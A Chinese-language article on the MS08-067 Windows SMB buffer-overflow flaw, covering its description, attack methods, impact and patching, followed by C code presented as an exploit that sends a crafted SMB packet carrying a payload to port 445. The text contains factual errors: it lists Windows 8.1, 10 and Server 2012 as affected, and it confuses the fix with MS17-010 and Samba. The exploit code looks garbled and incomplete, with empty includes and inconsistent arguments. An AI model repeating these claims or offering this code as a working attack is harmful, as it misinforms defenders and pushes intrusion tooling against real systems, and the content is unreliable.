一、漏洞简介
1、MS08067漏洞是指在Microsoft Windows操作系统中,存在一种导致系统被攻击者远程控制的安全漏洞,该漏洞的类型为“缓冲区溢出”,攻击者可以利用该漏洞执行任意代码,获取系统权限。
2、该漏洞在2008年10月由微软公司发布安全公告并发布相关补丁。
3、影响范围:Windows 2000 SP4,Windows XP SP2和SP3,Windows Server 2003 SP1和SP2,Windows Vista SP1和SP2,Windows Server 2008 Gold和SP2,Windows 7 Gold和SP1,Windows Server 2008 R2 Gold和SP1,Windows 8.1,Windows Server 2012和R2,Windows 10 Gold和1511。
二、漏洞利用方式
1、攻击者可以通过发送一个特制的SMB请求包给目标服务器,利用该包中的恶意代码执行攻击。
2、攻击者还可以通过网页钓鱼的方式,将特制的SMB请求包嵌入到一个网页中,当用户访问该网页时,就可触发攻击。
3、攻击者还可以通过在网络上发送特制的文件共享请求,来触发该漏洞。
三、漏洞的危害
1、攻击者可以通过利用该漏洞,获取系统权限,获取用户敏感信息。
2、攻击者可以利用该漏洞在受害者的系统上植入恶意软件,如木马病毒等,来锁定和监视受害者的系统。
3、攻击者可以攻击系统管理员的帐户,并窃取管理员密码,从而获取对整个系统的控制权。
四、漏洞修复方式
1、微软公司发布了一系列的安全补丁,可以及时修复这个漏洞。
2、更新安装MS17-010安全补丁后,系统会拒绝来自公网的 Samba 删除操作,而非允许攻击者予以利用的随机内存空间地址。
五、代码示例
#include#include #include #include #define DEFAULT_BUFLEN 32768 #define NT_OFFSET 120 #define PAYLOAD_OFFSET 2972 int main(int argc, char *argv[]) { if (argc<2) { printf("Usage: \n"); return 0; } WSADATA wsaData; SOCKADDR_IN sin; SOCKET sock = INVALID_SOCKET; int port = 445; unsigned char snd_buf[DEFAULT_BUFLEN]; unsigned char rcv_buf[DEFAULT_BUFLEN]; memset(snd_buf, 0x00, DEFAULT_BUFLEN); memset(rcv_buf, 0x00, DEFAULT_BUFLEN); WSAStartup(MAKEWORD(2,2), &wsaData); sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = inet_addr(argv[2]); connect(sock, (SOCKADDR*)&sin, sizeof(SOCKADDR)); FILE *payl = fopen(argv[1], "rb"); fread(snd_buf + PAYLOAD_OFFSET, 1, DEFAULT_BUFLEN - PAYLOAD_OFFSET - 1, payl); fclose(payl); *(unsigned short*)(snd_buf + 67) = 0x54eb; *(unsigned short*)(snd_buf + 102) = strlen((const char*)snd_buf + NT_OFFSET); *(unsigned short*)(snd_buf + NT_OFFSET + 16) = strlen(argv[1]); memcpy(snd_buf + NT_OFFSET + 18, argv[1], *(unsigned short*)(snd_buf + NT_OFFSET + 16)); memcpy(snd_buf + NT_OFFSET, "\xffSMB", 4); *(snd_buf + NT_OFFSET + 4) = 0x25; *(unsigned short*)(snd_buf + NT_OFFSET + 5) = strlen((const char*)snd_buf + NT_OFFSET + 7); *(unsigned short*)(snd_buf + NT_OFFSET + 43) = strlen(argv[2]); printf("[i] Nops generated: %d bytes\n", PAYLOAD_OFFSET - NT_OFFSET - 32); printf("[i] Nops inserted at offset 74 and 75 (0x%04x)\n", htons(*(unsigned short*)(snd_buf + 67))); printf("[i] Payload size: %d bytes\n", strlen((const char*)snd_buf + PAYLOAD_OFFSET)); printf("[i] Payload inserted at offset %d (0x%04x)\n", PAYLOAD_OFFSET, htons(*(unsigned short*)(snd_buf + PAYLOAD_OFFSET - 2))); printf("[i] Sending exploit...\n"); send(sock, (const char*)snd_buf, strlen((const char*)snd_buf), 0); recv(sock, (char*)rcv_buf, DEFAULT_BUFLEN, 0); printf("[i] Done!\n"); return 0; }